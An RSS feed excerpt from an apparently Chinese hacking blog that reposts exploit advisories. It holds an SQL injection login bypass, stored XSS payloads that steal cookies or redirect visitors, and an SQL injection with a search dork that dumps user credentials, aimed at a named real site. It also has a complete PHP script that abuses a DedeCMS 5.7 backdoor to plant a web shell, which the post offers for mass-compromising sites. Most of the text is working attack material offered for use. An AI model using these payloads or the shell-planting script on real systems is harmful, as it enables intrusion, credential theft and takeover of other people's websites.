;2011-11-30&nbsp;(no&nbsp;versioning&nbsp;used)&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>III.&nbsp;PoC&nbsp;EXPLOIT&nbsp;&nbsp;<br><br>---------------------------------------&nbsp;&nbsp;<br><br>POST&nbsp;a&nbsp;form&nbsp;to&nbsp;loginscript.php&nbsp;with&nbsp;the&nbsp;value&nbsp;of&nbsp;&#39;password&#39;&nbsp;set&nbsp;to:&nbsp;&#39;&nbsp;UNION&nbsp;SELECT&nbsp;*&nbsp;from&nbsp;user&nbsp;where&nbsp;user_name&nbsp;=&nbsp;&#39;admin&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>IV.&nbsp;SOLUTION&nbsp;&nbsp;<br><br>---------------------------------------&nbsp;&nbsp;<br><br>Do&nbsp;not&nbsp;use&nbsp;this&nbsp;software,&nbsp;no&nbsp;patched&nbsp;version&nbsp;exists&nbsp;at&nbsp;this&nbsp;time.&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>V.&nbsp;REFERENCES&nbsp;&nbsp;<br><br>---------------------------------------&nbsp;&nbsp;<br><br><a href="http://sourceforge.net/projects/e-ticketing/&nbsp;&nbsp;" target="_blank">http://sourceforge.net/projects/e-ticketing/&nbsp;&nbsp;</a><br><br><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1673&nbsp;&nbsp;" target="_blank">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1673&nbsp;&nbsp;</a><br><br>&nbsp;&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>VI.&nbsp;TIMELINE&nbsp;&nbsp;<br><br>---------------------------------------&nbsp;&nbsp;<br><br>03/01/2012&nbsp;-&nbsp;Initial&nbsp;vendor&nbsp;disclosure&nbsp;&nbsp;<br><br>03/03/2012&nbsp;-&nbsp;Vendor&nbsp;response&nbsp;and&nbsp;commitment&nbsp;to&nbsp;fix&nbsp;&nbsp;<br><br>03/20/2012&nbsp;-&nbsp;Follow-up&nbsp;e-mail&nbsp;to&nbsp;vendor&nbsp;as&nbsp;no&nbsp;patched&nbsp;version&nbsp;was&nbsp;published&nbsp;yet&nbsp;&nbsp;<br><br>04/04/2012&nbsp;-&nbsp;Public&nbsp;disclosure&nbsp;<br></p>]]></content:encoded><guid>http://www.cnyzy.cn/blogview.asp?logID=1836</guid><trackback:ping>http://www.cnyzy.cn/trackback.asp?tbID=1836</trackback:ping><comments>http://www.cnyzy.cn/blogview.asp?logID=1836#comment</comments><wfw:commentRss>http://www.cnyzy.cn/blogfeed.asp?logID=1836</wfw:commentRss></item><item><link>http://www.cnyzy.cn/blogview.asp?logID=1835</link><title><![CDATA[SyndeoCMS <= 3.0.01 Persistent XSS]]></title><author>kawen</author><category>黑客攻防</category><description><![CDATA[<p id=fp>1)Introduction&nbsp;&nbsp;<br><br>SyndeoCMS&nbsp;is&nbsp;a&nbsp;&quot;Content&nbsp;Management&nbsp;System&nbsp;(CMS)&nbsp;for&nbsp;primary&nbsp;schools,&nbsp;which&nbsp;helps&nbsp;you&nbsp;manage&nbsp;and&nbsp;maintain&nbsp;your&nbsp;website.&nbsp;It&nbsp;can&nbsp;also&nbsp;&nbsp;<br><br>be&nbsp;a&nbsp;very&nbsp;usefull&nbsp;CMS&nbsp;for&nbsp;small&nbsp;companies&nbsp;or&nbsp;non&nbsp;profit&nbsp;organizations&quot;.&nbsp;&nbsp;</p>]]></description><content:encoded><![CDATA[<p id=fp>1)Introduction&nbsp;&nbsp;<br><br>SyndeoCMS&nbsp;is&nbsp;a&nbsp;&quot;Content&nbsp;Management&nbsp;System&nbsp;(CMS)&nbsp;for&nbsp;primary&nbsp;schools,&nbsp;which&nbsp;helps&nbsp;you&nbsp;manage&nbsp;and&nbsp;maintain&nbsp;your&nbsp;website.&nbsp;It&nbsp;can&nbsp;also&nbsp;&nbsp;<br><br>be&nbsp;a&nbsp;very&nbsp;usefull&nbsp;CMS&nbsp;for&nbsp;small&nbsp;companies&nbsp;or&nbsp;non&nbsp;profit&nbsp;organizations&quot;.&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>2)Description&nbsp;&nbsp;<br><br>SyndeoCMS&nbsp;3.0.01&nbsp;(and&nbsp;lower)&nbsp;is&nbsp;prone&nbsp;to&nbsp;a&nbsp;persistent&nbsp;XSS&nbsp;vulnerability&nbsp;due&nbsp;to&nbsp;an&nbsp;improper&nbsp;input&nbsp;sanitization&nbsp;of&nbsp;&nbsp;&nbsp;<br><br>&quot;email&quot;&nbsp;parameter,&nbsp;passed&nbsp;to&nbsp;server&nbsp;side&nbsp;logic&nbsp;(path:&nbsp;&quot;starnet/index.php&quot;)&nbsp;via&nbsp;http&nbsp;POST&nbsp;method.&nbsp;&nbsp;&nbsp;<br><br>Exploiting&nbsp;this&nbsp;vulnerability&nbsp;an&nbsp;authenticated&nbsp;user&nbsp;-&nbsp;which&nbsp;is&nbsp;able&nbsp;to&nbsp;change&nbsp;his&nbsp;profile&nbsp;settings&nbsp;-&nbsp;could&nbsp;insert&nbsp;arbitrary&nbsp;&nbsp;&nbsp;<br><br>code&nbsp;in&nbsp;&quot;Site&nbsp;email&quot;&nbsp;field&nbsp;that&nbsp;will&nbsp;be&nbsp;executed&nbsp;when&nbsp;another&nbsp;admin&nbsp;or&nbsp;user&nbsp;clicks&nbsp;on&nbsp;that&nbsp;user&#39;profile.&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>3)Exploit&nbsp;&nbsp;&nbsp;<br><br>Insert&nbsp;the&nbsp;following&nbsp;code&nbsp;in&nbsp;&quot;Email&nbsp;address&quot;&nbsp;field&nbsp;under&nbsp;&nbsp;&nbsp;&nbsp;<br><br>&quot;starnet/index.php?option=configuration&amp;suboption=users&amp;modoption=edit_user&amp;user_id=&lt;user_id_number&gt;&quot;:&nbsp;&nbsp;<br><br>email@email.com&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&nbsp;&nbsp;<br></p>]]></content:encoded><guid>http://www.cnyzy.cn/blogview.asp?logID=1835</guid><trackback:ping>http://www.cnyzy.cn/trackback.asp?tbID=1835</trackback:ping><comments>http://www.cnyzy.cn/blogview.asp?logID=1835#comment</comments><wfw:commentRss>http://www.cnyzy.cn/blogfeed.asp?logID=1835</wfw:commentRss></item><item><link>http://www.cnyzy.cn/blogview.asp?logID=1834</link><title><![CDATA[dedecms 5.7 一句话后门利用 exp]]></title><author>kawen</author><category>黑客攻防</category><description><![CDATA[<p id=fp>前段时间乌云爆料DEDE5.7爆出shopcar.class.php包含一句话木马，@eval(file_get_contents(&#39;&#39;php://input&#39;&#39;));。详情可查看乌云<a href="http://www.wooyun.org/bug.php?action=view&amp;id=5416" target="_blank">http://www.wooyun.org/bug.php?action=view&amp;id=5416</a>。此EXP可激活此版本中的一句话后门。<br>class&nbsp;MemberShops<br>{<br>var&nbsp;$OrdersId;<br>var&nbsp;$productsId;</p>]]></description><content:encoded><![CDATA[<p id=fp>前段时间乌云爆料DEDE5.7爆出shopcar.class.php包含一句话木马，@eval(file_get_contents(&#39;php://input&#39;));。详情可查看乌云<a href="http://www.wooyun.org/bug.php?action=view&amp;id=5416" target="_blank">http://www.wooyun.org/bug.php?action=view&amp;id=5416</a>。此EXP可激活此版本中的一句话后门。<br>class&nbsp;MemberShops<br>{<br>var&nbsp;$OrdersId;<br>var&nbsp;$productsId;<br>function&nbsp;__construct()<br>{<br>$this-&gt;OrdersId&nbsp;=&nbsp;$this-&gt;getCookie(&quot;OrdersId&quot;);<br>if(empty($this-&gt;OrdersId))<br>{<br>$this-&gt;OrdersId&nbsp;=&nbsp;$this-&gt;MakeOrders();<br>}<br>@eval(file_get_contents(&#39;php://input&#39;));<br>}<br>function&nbsp;MemberShops()<br>{<br>$this-&gt;__construct();<br>}shopcar.class.php&nbsp;文件中只有一个&nbsp;MemberShops&nbsp;类，构造函数里面出现了后门，当类被实例化的时候就会自动执行构造函数，程序猿你懂的。。。&nbsp;<br><br>eval&nbsp;执行和&nbsp;file_get_contents&nbsp;获取内容不用说了，php://input&nbsp;这个是输入流，接收的是&nbsp;post&nbsp;内容，但是&nbsp;post&nbsp;类型不能为&nbsp;multipart/form-data&nbsp;<br><br>在&nbsp;eclipse&nbsp;里搜索&nbsp;new&nbsp;MemberShops,&nbsp;找到&nbsp;/plus/car.php&nbsp;里面实例化了这个类，&nbsp;<br><br>require_once&nbsp;(dirname(__FILE__)&nbsp;.&nbsp;&quot;/../include/common.inc.php&quot;);<br>define(&#39;_PLUS_TPL_&#39;,&nbsp;DEDEROOT.&#39;/templets/plus&#39;);<br>require_once(DEDEINC.&#39;/dedetemplate.class.php&#39;);<br>require_once&nbsp;DEDEINC.&#39;/shopcar.class.php&#39;;<br>require_once&nbsp;DEDEINC.&#39;/memberlogin.class.php&#39;;<br>$cart&nbsp;=&nbsp;new&nbsp;MemberShops();<br><br>大家关心的都是漏洞利用而不是漏洞出现的原因，现在我附上EXP可以批量拿这些DEDE站。<br>注意&nbsp;前天&nbsp;3.21中午&nbsp;DEDE已经把此版本中的后门清空了，此EXP只能拿官方清空以前从官网下载了5.7版本安装的网站，希望大家注意。特别说明：在舞林给出的exp的基础上修改而来！使自定义目标网站和目录更方便。<br><br>dedecms&nbsp;5.7&nbsp;一句话后门利用&nbsp;exp<br>漏洞证明：<br><br>dedecms&nbsp;5.7&nbsp;一句话后门利用&nbsp;exp<br><br><br>dedecms&nbsp;5.7&nbsp;一句话后门利用&nbsp;exp<br>&lt;?php&nbsp;<br>$host=$argv[1];<br>$path=$argv[2];<br>$path=$path.&quot;plus/car.php&quot;;<br>$url=$path;<br>if(count($argv)&nbsp;&lt;&nbsp;3&nbsp;){<br>print_r(&#39;<br>Usage:&nbsp;php&nbsp;&#39;.$argv[0].&#39;&nbsp;host&nbsp;path<br>Example:<br>php&nbsp;&#39;.$argv[0].&#39;&nbsp;www.site.com&nbsp;/dede/<br>作者：舞林&nbsp;<a href="http://t.qq.com/wulinlw" target="_blank">http://t.qq.com/wulinlw</a><br>修改：小逸<br>&#39;);<br>exit;<br>}<br>$data=&#39;$a=${@phpinfo()};&#39;;<br>$buffer&nbsp;=&nbsp;POST($host,80,$url,$data,30);<br>preg_match(&quot;/allow_url_fopen/i&quot;,&nbsp;$buffer,&nbsp;$arr_suc);<br><br>$str=&quot;allow_url_fopen&quot;;<br>if($arr_suc[0]==$str)&nbsp;{<br>echo&nbsp;&quot;Congratulations,target&nbsp;exist&nbsp;this&nbsp;bug.\n&quot;;<br>$data=&#39;$a=${@file_put_contents(&quot;dst.php&quot;,&quot;&lt;?php&nbsp;eval(\$_POST[cmd]);&nbsp;?&gt;&quot;)};&#39;;<br>$buffer&nbsp;=&nbsp;POST($host,80,$url,$data,30);<br>echo&nbsp;&quot;shell:<a href="http://$host$argv" target="_blank">http://$host$argv</a>[2]plus/dst.php,pass:cmd.&quot;;<br>}<br>else&nbsp;{<br>echo&nbsp;&quot;Sorry,target&nbsp;may&nbsp;not&nbsp;exist&nbsp;this&nbsp;bug.&quot;;<br>exit;<br>}<br>function&nbsp;POST($host,$port,$path,$data,$timeout,&nbsp;$cookie=&#39;&#39;)&nbsp;{<br>$buffer=&#39;&#39;;<br>$fp&nbsp;=&nbsp;fsockopen($host,$port,$errno,$errstr,$timeout);<br>if(!$fp)&nbsp;die($host.&#39;/&#39;.$path.&#39;&nbsp;:&nbsp;&#39;.$errstr.$errno);&nbsp;<br>else&nbsp;{<br>fputs($fp,&nbsp;&quot;POST&nbsp;$path&nbsp;HTTP/1.0\r\n&quot;);<br>fputs($fp,&nbsp;&quot;Host:&nbsp;$host\r\n&quot;);<br>fputs($fp,&nbsp;&quot;Content-type:&nbsp;application/x-www-form-urlencoded\r\n&quot;);<br>fputs($fp,&nbsp;&quot;Content-length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;);<br>fputs($fp,&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;);<br>fputs($fp,&nbsp;$data.&quot;\r\n\r\n&quot;);<br><br>while(!feof($fp))&nbsp;<br>{<br>$buffer&nbsp;.=&nbsp;fgets($fp,4096);<br>}&nbsp;<br>fclose($fp);<br>}&nbsp;<br>return&nbsp;$buffer;<br>}&nbsp;<br>?&gt;<br><br><br>dedecms&nbsp;5.7&nbsp;一句话后门利用&nbsp;exp<br>修复方案：<br>删除shopcar.class.php文件中的，@eval(file_get_contents(&#39;php://input&#39;));。<br></p>]]></content:encoded><guid>http://www.cnyzy.cn/blogview.asp?logID=1834</guid><trackback:ping>http://www.cnyzy.cn/trackback.asp?tbID=1834</trackback:ping><comments>http://www.cnyzy.cn/blogview.asp?logID=1834#comment</comments><wfw:commentRss>http://www.cnyzy.cn/blogfeed.asp?logID=1834</wfw:commentRss></item><item><link>http://www.cnyzy.cn/blogview.asp?logID=1833</link><title><![CDATA[vBshop persistent Persisstant XSS]]></title><author>kawen</author><category>黑客攻防</category><description><![CDATA[<p id=fp>Go&nbsp;to&nbsp;vBshop&nbsp;&nbsp;<br><br>Gift&nbsp;an&nbsp;item&nbsp;to&nbsp;aother&nbsp;user.&nbsp;&nbsp;<br><br>In&nbsp;the&nbsp;&#39;&#39;message&nbsp;to&nbsp;user&#39;&#39;&nbsp;put:&nbsp;&nbsp;</p>]]></description><content:encoded><![CDATA[<p id=fp>Go&nbsp;to&nbsp;vBshop&nbsp;&nbsp;<br><br>Gift&nbsp;an&nbsp;item&nbsp;to&nbsp;aother&nbsp;user.&nbsp;&nbsp;<br><br>In&nbsp;the&nbsp;&#39;message&nbsp;to&nbsp;user&#39;&nbsp;put:&nbsp;&nbsp;<br><br>&lt;script&gt;top.location=&#39;<a href="https://www.bugabuse.net/&#39;;&lt;/script&gt;&nbsp;&nbsp;" target="_blank">https://www.bugabuse.net/&#39;;&lt;/script&gt;&nbsp;&nbsp;</a><br><br>Send&nbsp;the&nbsp;item&nbsp;off.&nbsp;&nbsp;<br><br>Go&nbsp;to&nbsp;the&nbsp;users&nbsp;profile&nbsp;that&nbsp;you&nbsp;gifted&nbsp;&nbsp;<br><br>Boom.&nbsp;Pers.&nbsp;XSS.&nbsp;&nbsp;<br><br>Edit&nbsp;to&nbsp;your&nbsp;likeing.&nbsp;<br></p>]]></content:encoded><guid>http://www.cnyzy.cn/blogview.asp?logID=1833</guid><trackback:ping>http://www.cnyzy.cn/trackback.asp?tbID=1833</trackback:ping><comments>http://www.cnyzy.cn/blogview.asp?logID=1833#comment</comments><wfw:commentRss>http://www.cnyzy.cn/blogfeed.asp?logID=1833</wfw:commentRss></item><item><link>http://www.cnyzy.cn/blogview.asp?logID=1832</link><title><![CDATA[Content-Management-System Remote SQL Injection]]></title><author>kawen</author><category>黑客攻防</category><description><![CDATA[<p id=fp><strong>Content-Management-System&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;(news.php)</strong><br><br>##&nbsp;Injection&nbsp;Point&nbsp;:&nbsp;/news.php?id=-9&nbsp;[&nbsp;SQL&nbsp;]&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;</p>]]></description><content:encoded><![CDATA[<p id=fp><strong>Content-Management-System&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;(news.php)</strong><br><br>##&nbsp;Injection&nbsp;Point&nbsp;:&nbsp;/news.php?id=-9&nbsp;[&nbsp;SQL&nbsp;]&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>##&nbsp;Dork:&nbsp;intext:&quot;Powered&nbsp;by&nbsp;Content-Management-System&nbsp;&quot;&nbsp;©&nbsp;Tim&nbsp;Hendriks&nbsp;2008&nbsp;&quot;&nbsp;+&nbsp;inurl:news.php?id=&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<br><br>##&nbsp;Exploit&nbsp;Code:&nbsp;/news.php?id=-9&nbsp;union&nbsp;select&nbsp;1,2,3,4,group_concat(username,0x3a,pass,0x3a,email))from&nbsp;cms_users--&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<br><br>##&nbsp;Example:&nbsp;<a href="http://www.boom-trikes.de/news.php?id=-9&nbsp;union&nbsp;select&nbsp;1" target="_blank">http://www.boom-trikes.de/news.php?id=-9&nbsp;union&nbsp;select&nbsp;1</a>,2,3,4,group_concat(username,0x3a,pass,0x3a,email))from&nbsp;cms_users--&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>##&nbsp;Login&nbsp;Admin&nbsp;Panel&nbsp;:&nbsp;<a href="http://server/cms/&nbsp;&nbsp;" target="_blank">http://server/cms/&nbsp;&nbsp;</a><br><br></p>]]></content:encoded><guid>http://www.cnyzy.cn/blogview.asp?logID=1832</guid><trackback:ping>http://www.cnyzy.cn/trackback.asp?tbID=1832</trackback:ping><comments>http://www.cnyzy.cn/blogview.asp?logID=1832#comment</comments><wfw:commentRss>http://www.cnyzy.cn/blogfeed.asp?logID=1832</wfw:commentRss></item>
</channel>
</rss>
